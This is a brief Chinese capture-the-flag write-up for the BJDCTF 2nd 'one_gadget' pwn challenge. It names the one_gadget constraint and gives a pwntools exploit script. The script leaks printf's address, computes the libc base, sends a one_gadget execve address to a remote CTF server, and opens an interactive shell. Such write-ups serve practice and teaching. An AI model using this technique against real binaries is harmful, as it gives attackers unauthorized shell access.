[BJDCTF 2nd]one_gadget
这里主要是用到了这个工具,但是这个工具的原理我还不了解,但是我调试了一下,最主要的是这个工具提供的shell需要满足它下面给的约束条件,对于这个题目而言要利用这个shell的条件就是[rsp + 0x70] == NULL
exp
from pwn import *
context(log_level = 'debug')
libc = ELF('./libc/libc-2.29.64.so')
p = remote('node3.buuoj.cn', 25656)
p.recvuntil('0x'.encode())
printf_addr = int(p.recvn(12), 16)
printf_offset = libc.sym['printf']
libc_base = printf_addr - printf_offset
execve_offset = 0x106ef8
execve_addr = libc_base + execve_offset
payload = str(execve_addr)
p.sendline(payload)
p.interactive()
还没有评论,来说两句吧...